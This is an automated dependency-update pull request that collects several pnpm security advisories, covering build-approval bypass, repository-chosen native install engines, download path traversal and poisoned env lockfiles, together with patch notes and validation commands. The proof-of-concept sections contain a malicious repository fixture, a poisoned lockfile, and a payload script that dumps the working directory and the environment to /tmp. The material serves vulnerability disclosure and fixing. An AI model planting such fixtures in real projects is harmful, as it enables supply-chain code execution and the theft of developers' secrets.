Keep build approval for opaque dependency sources byte-exact for
GHSA-5wx6-mg75-v57r / CAND-PNPM-123.

Merged upstream commit `bf1b731ee6` fixed the original name-only
approval bypass by making build policy consume the resolved dependency
identity. One collision remained: the generic peer-suffix normalizer
also stripped parenthesized text from git, URL, tarball, file, and other
opaque locators. Approval for one source string could therefore
authorize a different attacker-controlled source whose locator
normalized to the same value.

##### Security boundary

- Registry dependency identities still normalize legitimate peer
suffixes and retain patch hashes.
- Git, URL, tarball, file, directory, and otherwise opaque identities
must match the complete resolved locator byte for byte.
- Explicit denials use the same normalization as approvals.
- Ignored-build output preserves the exact opaque identity, so the key
pnpm asks a user to approve is the key policy later checks.
- TypeScript pnpm and pacquet implement the same distinction between
registry and opaque identities.

##### Exploit replay

- With `allowBuilds` approving `foo@https://host/pkg.tgz`, the upstream
implementation also accepted `foo@https://host/pkg.tgz(evil)` because
both passed through peer-suffix removal.
- An independent review found a second Rust-only form:
`foo@https://host/pkg@1.0.0(good)` and
`foo@https://host/pkg@1.0.0(evil)` collided because the parser selected
the final `@` and misclassified the opaque URL as a registry package.
- A final review found the same parser hazard in source-only locators
ending in a semver-looking tail: approval for `https://host/pkg@1.0.0`
could collapse `https://host/pkg@1.0.0(evil)`.
- The final patch rejects all three collision forms, applies the same
exactness to deny rules, accepts exact opaque keys as positive controls,
and continues to accept registry packages approved without their peer
suffixes.

##### Files changed

- `building/policy/src/index.ts` and `building/policy/test/index.ts`
normalize only parsed registry identities and retain exact opaque keys.
- `pacquet/crates/package-manager/src/build_modules.rs` passes snapshot
identities to policy, matches TypeScript package-separator parsing, and
preserves opaque locators.
- `pacquet/crates/package-manager/src/build_modules/tests.rs` covers
exact approval and denial, all three collision forms, ignored-build
output, and registry peer compatibility.
- `.changeset/quiet-opaque-build-identities.md` records patch releases
for `@pnpm/building.policy` and `pnpm`.

##### Commands run

```text
$ jest building/policy/test/index.ts --runInBand
16 passed
$ cargo test -p pacquet-package-manager build_modules::tests -- --nocapture
49 passed
$ cargo fmt --all -- --check
PASS
$ git diff --check 84bb4b1a046f3a659de1c9aab1d45dcf814124ce...HEAD
PASS
```

##### Validation

- The TypeScript policy suite passed all 16 tests.
- The final pacquet build-policy suite passed all 49 tests.
- The new Rust regression reproduced the extra-`@` collision before the
additive fix and passed afterward.
- Exact opaque approval and denial, source-only semver-tail collision
rejection, registry peer normalization, and ignored-build reporting all
have paired tests.
- ESLint passed on the changed TypeScript source and test files.
- Rust formatting and diff checks passed; the branch is clean and
consists of three focused security commits plus additive merges of
upstream through `84bb4b1a046f3a659de1c9aab1d45dcf814124ce`.
- The focused TypeScript suite and ESLint ran directly through the
installed harness. The isolated project build cannot resolve workspace
packages without a local install, and the configured registry gateway
returns HTTP 403 while fetching `@pnpm/pacquet@0.11.2`; no
candidate-focused test failed.

##### Patches

`10.34.2`:
https://github.com/pnpm/pnpm/commit/14bceb1e0b2a71f4f670774db261feb03f38ec23
`11.5.3`:
https://github.com/pnpm/pnpm/commit/bf1b731ee6c0ea98709e671ff0f46bf654480ab8

##### Compatibility

Registry package approvals keep their existing form. Opaque dependencies
that were approved through a normalized parenthesized variant must now
use the exact key shown in pnpm's ignored-build output. This is the
intended trust-boundary change; no package-resolution or artifact format
changes.

##### CI note

GitHub intentionally does not run status checks on temporary
private-fork pull requests. The complete policy suites, formatting, and
diff checks above are the applicable validation:
https://docs.github.com/code-security/security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability

---
Written by an agent (Codex, GPT-5).

#### Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H`

#### References
-
[https://github.com/pnpm/pnpm/security/advisories/GHSA-5wx6-mg75-v57r](https://redirect.github.com/pnpm/pnpm/security/advisories/GHSA-5wx6-mg75-v57r)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-55487](https://nvd.nist.gov/vuln/detail/CVE-2026-55487)
-
[https://github.com/pnpm/pnpm/commit/bf1b731ee6c0ea98709e671ff0f46bf654480ab8](https://redirect.github.com/pnpm/pnpm/commit/bf1b731ee6c0ea98709e671ff0f46bf654480ab8)
- [https://github.com/pnpm/pnpm](https://redirect.github.com/pnpm/pnpm)
-
[https://github.com/pnpm/pnpm/releases/tag/v10.34.2](https://redirect.github.com/pnpm/pnpm/releases/tag/v10.34.2)
-
[https://github.com/pnpm/pnpm/releases/tag/v11.5.3](https://redirect.github.com/pnpm/pnpm/releases/tag/v11.5.3)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-5wx6-mg75-v57r) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### pnpm: Repository-controlled configDependencies can select a pacquet
native install engine
[CVE-2026-55697](https://nvd.nist.gov/vuln/detail/CVE-2026-55697) /
[GHSA-gj8w-mvpf-x27x](https://redirect.github.com/advisories/GHSA-gj8w-mvpf-x27x)

<details>
<summary>More information</summary>

#### Details
<!-- maintainer-action:start -->

##### Maintainer Action Plan

This report is ready to review with the shared patch branch. Start with
the PR and the expected fixed behavior, then use the detailed exploit
narrative below only if you want to replay the original path.

- Advisory: `CAND-PNPM-097` / `GHSA-gj8w-mvpf-x27x`
- Advisory URL:
https://github.com/pnpm/pnpm/security/advisories/GHSA-gj8w-mvpf-x27x
- Shared patch PR:
[https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1](https://redirect.github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1)
- Shared patch branch: `security/ghsa-batch-2026-06-09`
- Patch commit: `a93449314f398cf4bdf2e28d033c02d37395ad22`
- Base commit: `origin/main` `55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec`
- Maintainer priority: `start-here`
- Component: `pnpm configDependencies / pacquet delegation`
- Patch area: pacquet/configDependency lifecycle execution is not used
as install engine without trust
- Affected packages: `npm:pnpm`, `npm:@&#8203;pnpm/config.reader`,
`npm:@&#8203;pnpm/installing.commands`
- CWE IDs: `CWE-829`, `CWE-78`, `CWE-494`
- Conservative CVSS: `7.5` /
`CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H`
- Next action: review the shared patch branch for this component, set
the final affected version range, merge and release the fix, then
publish or close the advisory.

##### Expected Patched Behavior

config-dependency pacquet install engines are not selected unless the
trusted allowlist is set outside the repository; the marker file is not
created.

##### Files And Tests To Review

- `config/reader/src/Config.ts`
- `config/reader/src/types.ts`
- `config/reader/src/configFileKey.ts`
- `config/reader/src/index.ts`
- `config/reader/test/index.ts`
- `installing/commands/src/installDeps.ts`
- `installing/commands/test/runPacquet.ts`
- `pnpm/test/install/pacquet.ts`
- `.changeset/lucky-config-plugin-pnpmfiles.md`

##### Focused Validation

Run these from a checkout of the shared patch branch. They are the
useful maintainer commands with machine-local artifact paths removed.

```bash
./node_modules/.bin/tsgo --build config/reader/tsconfig.json
./node_modules/.bin/tsgo --build installing/commands/tsconfig.json
./node_modules/.bin/tsgo --build pnpm/tsconfig.json
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/runPacquet.ts --runInBand
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "config dependency code allowlists|user-level preference settings" --runInBand
./node_modules/.bin/eslint config/reader/src/Config.ts config/reader/src/types.ts config/reader/src/configFileKey.ts config/reader/src/index.ts config/reader/test/index.ts installing/commands/src/installDeps.ts installing/commands/test/runPacquet.ts pnpm/test/install/pacquet.ts
git diff --check
```

The full patched replay for the shared branch passed with all 20
candidates marked fixed. This candidate's replay evidence is
`results/CAND-PNPM-097-patched-result.json`.
<!-- maintainer-action:end -->

##### Summary

pnpm can install `configDependencies` declared in `pnpm-workspace.yaml`
before command dispatch. Before the patch, a repository could declare
`pacquet` or `@pnpm/pacquet` as a config dependency and pnpm treated
that repository-controlled dependency as an install-engine opt-in.
During install, pnpm resolved a platform-specific
`@pacquet/<platform>-<arch>/pacquet` binary from
`node_modules/.pnpm-config/<packageName>` and spawned it as the
developer or CI user.

##### Details

The vulnerable source-to-sink path was:

- `config/reader/src/getOptionsFromRootManifest.ts` copies repository
`pnpm-workspace.yaml` `configDependencies` into config.
- `pnpm/src/getConfig.ts` installs config dependencies before command
dispatch.
- `installing/env-installer/src/resolveAndInstallConfigDeps.ts` resolves
the repository-declared dependency and its optional platform
subdependencies.
- `installing/env-installer/src/installConfigDeps.ts` fetches, imports,
and symlinks the config dependency tree under
`node_modules/.pnpm-config`.
- `installing/commands/src/installDeps.ts` selected pacquet delegation
whenever `configDependencies` contained `pacquet` or `@pnpm/pacquet`.
- `installing/deps-installer/src/install/index.ts` called
`opts.runPacquet` from frozen and materialization paths.
- `installing/commands/src/runPacquet.ts` resolved
`@pacquet/${process.platform}-${process.arch}/pacquet` from the
installed config dependency package and executed it with `spawn()`.

Exact-version, integrity, and platform filters only proved which bytes
package resolution selected; they did not establish that the repository
was trusted to choose a native install engine.

##### PoC

Standalone PoC and verification script:

Repository fixture:

```yaml
packages:
  - .
configDependencies:
  pacquet: 0.2.2
```

Registry package shape:

```json
{
  "name": "pacquet",
  "version": "0.2.2",
  "optionalDependencies": {
    "@&#8203;pacquet/darwin-arm64": "0.2.2"
  }
}
```

Platform package payload:

```sh

#!/bin/sh
echo "$PWD" > /tmp/pacquet-engine-ran
env > /tmp/pacquet-engine-env
```

Pre-patch exploit model:

1. The victim runs a dependency-management command such as `pnpm
install` in the repository.
2. pnpm installs the repository-declared config dependency and its
host-compatible optional platform dependency into `.pnpm-config`.
3. `installDeps()` treats the presence of `configDependencies.pacquet`
or `configDependencies["@&#8203;pnpm/pacquet"]` as authorization to
delegate install materialization.
4. `runPacquet()` resolves the platform binary from the installed config
dependency tree and spawns it in the lockfile directory.

Observed PoC output:

```json
{
  "primitive": "repository-selected pacquet config dependency reaches native process execution when selected",
  "patchedWithoutAllowlist": "blocked",
  "trustedAllowlist": "allows explicit opt-in"
}
```

Focused validation commands:

```bash
./node_modules/.bin/tsgo --build config/reader/tsconfig.json
./node_modules/.bin/tsgo --build installing/commands/tsconfig.json
./node_modules/.bin/tsgo --build pnpm/tsconfig.json
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/runPacquet.ts --runInBand
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "config dependency code allowlists|user-level preference settings" --runInBand
./node_modules/.bin/eslint config/reader/src/Config.ts config/reader/src/types.ts config/reader/src/configFileKey.ts config/reader/src/index.ts config/reader/test/index.ts installing/commands/src/installDeps.ts installing/commands/test/runPacquet.ts pnpm/test/install/pacquet.ts
git diff --check
```

Validation result:

- The PoC confirmed a selected pacquet config dependency reaches native
process execution.
- Patched `getPacquetConfigDependencyName()` returns `undefined` without
a trusted allowlist.
- Patched `getPacquetConfigDependencyName()` allows exact `pacquet`,
exact `@pnpm/pacquet`, and wildcard `*` trusted opt-in.
- Config reader regressions prove user/global config can set
`configDependencyInstallEngineAllowlist`, while `pnpm-workspace.yaml`
cannot grant this permission to itself.
- E2E fixtures that intentionally delegate to pacquet now pass the
trusted allowlist through environment config.
- TypeScript builds passed for `@pnpm/config.reader`,
`@pnpm/installing.commands`, and `pnpm`.
- Focused `installing/commands/test/runPacquet.ts`: 3 passed.
- Focused `config/reader/test/index.ts`: 2 passed, 132 skipped under the
focused pattern.
- ESLint passed with warnings only for existing skipped tests in
`config/reader/test/index.ts` and `pnpm/test/install/pacquet.ts`.
- `git diff --check`: passed.

##### Impact

A malicious repository can cause pnpm to execute a registry-selected
native binary while handling dependency-management commands. The binary
runs with the victim developer or CI user's filesystem, environment,
registry credentials, git/SSH credentials, and network access.

##### Affected products

Ecosystem: npm

Package name: `pnpm`, `@pnpm/config.reader`, `@pnpm/installing.commands`

Affected versions: current main before this patch, when
`configDependencies` contains `pacquet` or `@pnpm/pacquet` and install
paths delegate to pacquet.

Patched versions: 10.34.2, 11.5.3.

##### Severity

Severity: High

Vector string: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`

Base score: 8.8

Rationale: attacker input is delivered through a repository and registry
package, exploitation is low complexity once the victim runs pnpm, no
attacker privileges are required, and user interaction is required.
Successful exploitation executes a native binary in the victim user's
context, with high confidentiality, integrity, and availability impact.

##### Weaknesses

CWE-829: Inclusion of Functionality from Untrusted Control Sphere

CWE-78: Improper Neutralization of Special Elements used in an OS
Command

CWE-494: Download of Code Without Integrity Check

##### Patch

The patch adds a trusted opt-in gate for config-dependency
install-engine delegation:

- New setting: `configDependencyInstallEngineAllowlist`.
- The allowlist can be set from trusted user-controlled config such as
global config, CLI config, or environment config.
- `pnpm-workspace.yaml` cannot grant this permission to itself;
workspace-provided values are discarded after workspace settings are
merged.
- `installDeps()` delegates to pacquet only when `pacquet`,
`@pnpm/pacquet`, or `*` is present in the trusted allowlist.
- Repositories can still install `pacquet` as a config dependency, but
pnpm will not spawn it as an install engine unless trusted config opts
in.
- Existing tests that intentionally exercise pacquet delegation were
updated to pass the trusted allowlist via environment config.

Changed files:

- `config/reader/src/Config.ts`
- `config/reader/src/types.ts`
- `config/reader/src/configFileKey.ts`
- `config/reader/src/index.ts`
- `config/reader/test/index.ts`
- `installing/commands/src/installDeps.ts`
- `installing/commands/test/runPacquet.ts`
- `pnpm/test/install/pacquet.ts`

Changeset:

- `.changeset/lucky-config-plugin-pnpmfiles.md`

Pacquet parity:

No pacquet-side code-execution sink exists for this finding. The Rust
port parses and records `configDependencies` for workspace-state
compatibility, but it does not install config dependencies or
select/spawn an alternate install engine from them. The user-visible
trust setting is TypeScript-side today because it gates pnpm's pacquet
delegation path.

##### CVSS Reassessment

Initial CVSS remains correct for vulnerable versions:
`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` / 8.8 High.

Final CVSS after patch: not vulnerable after patch / 0.0. The PoC no
longer reaches pacquet install-engine selection or native process
execution unless the victim has set a trusted allowlist outside the
repository's own workspace settings.

##### Remaining Risk

Users can explicitly trust pacquet install-engine delegation through the
new allowlist. That is intentional behavior; the closed issue is
repository self-authorization of a registry-provided native install
engine.

#### Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H`

#### References
-
[https://github.com/pnpm/pnpm/security/advisories/GHSA-gj8w-mvpf-x27x](https://redirect.github.com/pnpm/pnpm/security/advisories/GHSA-gj8w-mvpf-x27x)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-55697](https://nvd.nist.gov/vuln/detail/CVE-2026-55697)
- [https://github.com/pnpm/pnpm](https://redirect.github.com/pnpm/pnpm)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-gj8w-mvpf-x27x) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### pnpm: `stage download` writes outside its destination directory via
manifest name/version traversal
[CVE-2026-55700](https://nvd.nist.gov/vuln/detail/CVE-2026-55700) /
[GHSA-v23m-ccfg-pq9h](https://redirect.github.com/advisories/GHSA-v23m-ccfg-pq9h)

<details>
<summary>More information</summary>

#### Details
##### Summary

The staged-tarball filename traversal reported as GHSA-v23m-ccfg-pq9h /
CAND-PNPM-038 is fixed on `main` by
[pnpm/pnpm#12303](https://redirect.github.com/pnpm/pnpm/pull/12303),
merged as `65443f4bdf1f0db9c8c7dc58fee25252607e9234`.

Before the fix, `pnpm stage download` derived a local filename from
registry-controlled package name and version fields. A crafted manifest
could escape the selected download directory and overwrite another
reachable file. The merged fix validates both fields, derives one safe
filename, and verifies the final destination before writing.

##### Security boundary

- Package names and semantic versions are validated before they can
influence a local filename.
- POSIX and Windows path separators are rejected by basename checks.
- Stage download and tarball summary paths use the same filename helper.
- The resolved output path must remain an immediate child of the
selected download directory.
- The stage identifier is already constrained to a UUID.

##### Exploit replay

Before `65443f4bdf`, a traversal-bearing manifest version could make the
command write outside the selected directory. After the fix, malicious
package names fail with `ERR_PNPM_INVALID_PACKAGE_NAME`, malicious
versions fail with `ERR_PNPM_INVALID_PACKAGE_VERSION`, no outside file
is created, and the download directory remains empty.

##### Files changed

- `releasing/commands/src/tarball/safeTarballFilename.ts` validates
manifest identity and rejects cross-platform path separators.
- `releasing/commands/src/stage/download.ts` verifies the resolved
destination before writing.
- `releasing/commands/src/tarball/summarizeTarball.ts` uses the same
filename contract.
- `releasing/commands/test/stage.test.ts` covers traversal through both
package name and version.
- `.changeset/stale-stage-tarballs.md` includes patch bumps for
`@pnpm/releasing.commands` and `pnpm`.

##### Patch

- Merged PR:
[https://github.com/pnpm/pnpm/pull/12303](https://redirect.github.com/pnpm/pnpm/pull/12303)
- Fix commit: `65443f4bdf1f0db9c8c7dc58fee25252607e9234`
- The private candidate branch was not submitted because it conflicts
with and is superseded by the merged fix. The upstream patch is slightly
stronger because it covers malicious package names as well as versions.

##### Commands run

```text
$ git diff --check 65443f4bdf^ 65443f4bdf
PASS
$ gh pr view 12303 --repo pnpm/pnpm --json state,mergeCommit,statusCheckRollup
MERGED as 65443f4bdf
```

##### Validation

- Upstream regression coverage rejects traversal through both manifest
name and version and verifies that no outside file is created.
- Compile and lint, dependency audit, Linux Node.js 22/24/26, CodeQL,
and zizmor checks passed on the merged public PR.
- The Windows Node.js 22 full-suite job timed out in the unrelated
`pnpm/test/dlx.ts` cache test after 512 other tests passed. The PR was
merged by the maintainer; the failure did not involve the staging code.
- The earlier private candidate's focused exploit regression, positive
control, package compile, ESLint, and `git diff --check` also passed.

##### Compatibility

Staging and release commands are TypeScript-only. Pacquet does not
expose this command family, so no Rust-side port is required.

##### Remaining risk

The final `fs.writeFile` follows a pre-existing symlink at the exact
in-directory output name. That requires separate local filesystem access
and is not controllable through the registry manifest traversal
described here.

---
Written by an agent (Codex, GPT-5).

#### Severity
- CVSS Score: 7.1 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L`

#### References
-
[https://github.com/pnpm/pnpm/security/advisories/GHSA-v23m-ccfg-pq9h](https://redirect.github.com/pnpm/pnpm/security/advisories/GHSA-v23m-ccfg-pq9h)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-55700](https://nvd.nist.gov/vuln/detail/CVE-2026-55700)
-
[https://github.com/pnpm/pnpm/pull/12303](https://redirect.github.com/pnpm/pnpm/pull/12303)
- [https://github.com/pnpm/pnpm](https://redirect.github.com/pnpm/pnpm)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-v23m-ccfg-pq9h) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### pnpm: Project env lockfile can short-circuit package-manager
resolution and execute lockfile-selected pnpm bytes
[CVE-2026-55698](https://nvd.nist.gov/vuln/detail/CVE-2026-55698) /
[GHSA-w466-c33r-3gjp](https://redirect.github.com/advisories/GHSA-w466-c33r-3gjp)

<details>
<summary>More information</summary>

#### Details
<!-- maintainer-action:start -->

##### Maintainer Action Plan

This report is ready to review with the shared patch branch. Start with
the PR and the expected fixed behavior, then use the detailed exploit
narrative below only if you want to replay the original path.

- Advisory: `CAND-PNPM-063` / `GHSA-w466-c33r-3gjp`
- Advisory URL:
https://github.com/pnpm/pnpm/security/advisories/GHSA-w466-c33r-3gjp
- Shared patch PR:
[https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1](https://redirect.github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1)
- Shared patch branch: `security/ghsa-batch-2026-06-09`
- Patch commit: `a93449314f398cf4bdf2e28d033c02d37395ad22`
- Base commit: `origin/main` `55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec`
- Maintainer priority: `start-here`
- Component: `pnpm packageManager env lockfile`
- Patch area: package-manager env lockfile is re-resolved through
trusted registries before execution
- Affected packages: `npm:pnpm`,
`npm:@&#8203;pnpm/installing.env-installer`
- CWE IDs: `CWE-829`, `CWE-494`, `CWE-345`
- Conservative CVSS: `8.8` /
`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`
- Next action: review the shared patch branch for this component, set
the final affected version range, merge and release the fix, then
publish or close the advisory.

##### Expected Patched Behavior

Committed env-lockfile package-manager entries are force-refreshed
through trusted registries before execution; attacker tarball requests
and markers stay at zero.

##### Files And Tests To Review

- `installing/env-installer/src/resolvePackageManagerIntegrities.ts`
- `pnpm/src/switchCliVersion.ts`
- `pnpm/src/switchCliVersion.test.ts`
- `.changeset/clean-package-manager-registries.md`

##### Focused Validation

Run these from a checkout of the shared patch branch. They are the
useful maintainer commands with machine-local artifact paths removed.

```bash
./node_modules/.bin/tsgo --build installing/env-installer/tsconfig.json
./node_modules/.bin/tsgo --build pnpm/tsconfig.json
PNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../node_modules/.bin/jest src/switchCliVersion.test.ts -t "re-resolved package-manager lockfile" --runInBand
PNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../node_modules/.bin/jest src/switchCliVersion.test.ts src/syncEnvLockfile.test.ts --runInBand
./node_modules/.bin/eslint installing/env-installer/src/resolvePackageManagerIntegrities.ts pnpm/src/switchCliVersion.ts pnpm/src/switchCliVersion.test.ts
git diff --check
```

The full patched replay for the shared branch passed with all 20
candidates marked fixed. This candidate's replay evidence is
`results/CAND-PNPM-063-patched-result.json`.
<!-- maintainer-action:end -->

##### Summary

pnpm can persist package-manager bootstrap metadata in the first YAML
document of `pnpm-lock.yaml`. Before the patch, direct pnpm execution
trusted an already resolved `packageManagerDependencies` entry when the
committed env lockfile contained matching `pnpm` and `@pnpm/exe`
versions. A malicious repository could therefore commit package-manager
lockfile package records and snapshots that bypassed fresh
package-manager resolution, then cause pnpm to install and execute bytes
selected by that committed lockfile state during automatic version
switching.

##### Details

The vulnerable source-to-sink path was:

- `lockfile/fs/src/envLockfile.ts` reads the repository's first YAML
lockfile document and validates shape only.
- `pnpm/src/main.ts` reaches `switchCliVersion()` when a direct pnpm
invocation sees a wanted `pnpm` package manager with `onFail=download`.
- `pnpm/src/switchCliVersion.ts` reads the committed env lockfile when
package-manager metadata should be persisted.
- `installing/env-installer/src/resolvePackageManagerIntegrities.ts`
treated `packageManagerDependencies` as resolved when only the `pnpm`
and `@pnpm/exe` versions matched.
- `engine/pm/commands/src/self-updater/installPnpm.ts` converts
env-lockfile `snapshots` and `packages` into the wanted lockfile used by
`headlessInstall()`.
- `pnpm/src/switchCliVersion.ts` executes the installed `pnpm` binary
with `spawn.sync()`.

The helper fast path is intentionally still version-based for
non-execution callers, so the security boundary is enforced at the
execution path: `switchCliVersion()` now re-resolves already present
package-manager env-lockfile entries before they can reach
`installPnpmToStore()` and `spawn.sync()`.

##### PoC

Standalone PoC and verification script:

The PoC constructs a committed env-lockfile object with matching
package-manager dependency versions and attacker-selected package
metadata:

```json
{
  "importers": {
    ".": {
      "configDependencies": {},
      "packageManagerDependencies": {
        "@&#8203;pnpm/exe": { "specifier": "9.3.0", "version": "9.3.0" },
        "pnpm": { "specifier": "9.3.0", "version": "9.3.0" }
      }
    }
  },
  "lockfileVersion": "9.0",
  "packages": {
    "/pnpm@9.3.0": {
      "resolution": {
        "integrity": "sha512-poisoned"
      }
    }
  },
  "snapshots": {
    "/pnpm@9.3.0": {}
  }
}
```

Pre-patch exploit model:

1. The victim runs pnpm directly in a malicious repository.
2. The requested package-manager version differs from the currently
running pnpm.
3. pnpm enters `switchCliVersion()` and reads the committed env
lockfile.
4. Matching `pnpm` / `@pnpm/exe` versions short-circuit package-manager
resolution.
5. pnpm installs from the committed env-lockfile package records and
executes the resulting `pnpm` binary.

Observed primitive proof from the PoC:

```json
{
  "primitive": "unforced resolver reuses already-resolved env lockfile metadata",
  "isResolvedByVersionOnly": true,
  "reusedPoisonedIntegrity": true
}
```

The same script then runs the patched `switchCliVersion` regression. The
regression seeds a poisoned committed env lockfile, has the resolver
return a trusted replacement lockfile, and asserts
`installPnpmToStore()` receives the trusted lockfile rather than the
committed one. This would fail on the vulnerable control flow because
the resolver was not called and the committed lockfile reached the
installer.

Focused validation commands:

```bash
./node_modules/.bin/tsgo --build installing/env-installer/tsconfig.json
./node_modules/.bin/tsgo --build pnpm/tsconfig.json
PNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../node_modules/.bin/jest src/switchCliVersion.test.ts -t "re-resolved package-manager lockfile" --runInBand
PNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../node_modules/.bin/jest src/switchCliVersion.test.ts src/syncEnvLockfile.test.ts --runInBand
./node_modules/.bin/eslint installing/env-installer/src/resolvePackageManagerIntegrities.ts pnpm/src/switchCliVersion.ts pnpm/src/switchCliVersion.test.ts
git diff --check
```

Validation result:

- The PoC confirmed the unforced resolver still reuses a
version-matching env lockfile, proving the original primitive.
- Patched `switchCliVersion()` calls
`resolvePackageManagerIntegrities()` with `force: true` when committed
env-lockfile package-manager entries already satisfy the requested
version.
- Patched `switchCliVersion()` assigns the resolver return value back to
`envLockfile`.
- The installer receives the refreshed lockfile and not the poisoned
committed lockfile.
- TypeScript builds passed for `@pnpm/installing.env-installer` and
`pnpm`.
- The focused Jest regression passed: 1 passed, 1 skipped in
`switchCliVersion.test.ts`.
- ESLint passed for the affected package-manager switch files.
- `git diff --check` passed.

##### Impact

A malicious repository can cause arbitrary package-manager code
execution in the victim's developer or CI environment before normal
command handling continues. That code executes with the victim user's
privileges and can read local secrets, alter project files, mutate
dependency state, or run further commands.

##### Affected products

Ecosystem: npm

Package name: `pnpm`, `@pnpm/installing.env-installer`

Affected versions: current main before this patch; direct pnpm execution
with package-manager auto-switching and a repository-controlled env
lockfile.

Patched versions: pending release containing this patch.

##### Severity

Severity: High

Vector string: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`

Base score: 8.8

Rationale: the malicious source is repository-controlled package-manager
lockfile state delivered through normal supply-chain channels.
Exploitation is low complexity once the victim runs pnpm directly, no
attacker privileges are required, and user interaction is required.
Successful exploitation executes attacker-selected package-manager code
in the victim user's security context, with high confidentiality,
integrity, and availability impact.

##### Weaknesses

CWE-829: Inclusion of Functionality from Untrusted Control Sphere

CWE-494: Download of Code Without Integrity Check

CWE-345: Insufficient Verification of Data Authenticity

##### Patch

The patch makes automatic package-manager switching re-resolve
repository-provided bootstrap metadata before install and execution:

- `resolvePackageManagerIntegrities()` accepts `force`, which bypasses
the version-only fast path.
- `switchCliVersion()` creates a store controller even when the
committed env lockfile already contains satisfying package-manager
dependency versions.
- `switchCliVersion()` calls `resolvePackageManagerIntegrities()` with
`force: true` for already resolved package-manager entries.
- `switchCliVersion()` assigns the returned env lockfile back to
`envLockfile`, so `installPnpmToStore()` installs from freshly resolved
metadata.
- The package-manager bootstrap registry hardening from CAND-PNPM-061 is
reused, so the refresh happens through trusted package-manager
registries rather than repository workspace registries.

Changed files:

- `installing/env-installer/src/resolvePackageManagerIntegrities.ts`
- `pnpm/src/switchCliVersion.ts`
- `pnpm/src/switchCliVersion.test.ts`

Changeset:

- `.changeset/clean-package-manager-registries.md`

Pacquet parity:

No pacquet-side patch is required for this finding because pacquet does
not implement pnpm's package-manager auto-switch path or
`installPnpmToStore()`.

##### CVSS Reassessment

Initial CVSS remains correct for vulnerable versions:
`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` / 8.8 High.

Final CVSS after patch: not vulnerable after patch / 0.0. The PoC still
demonstrates the underlying unforced env-lockfile reuse primitive, but
the patched execution path force-refresh

> ✂ **Note**
> 
> PR body was truncated to here.

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant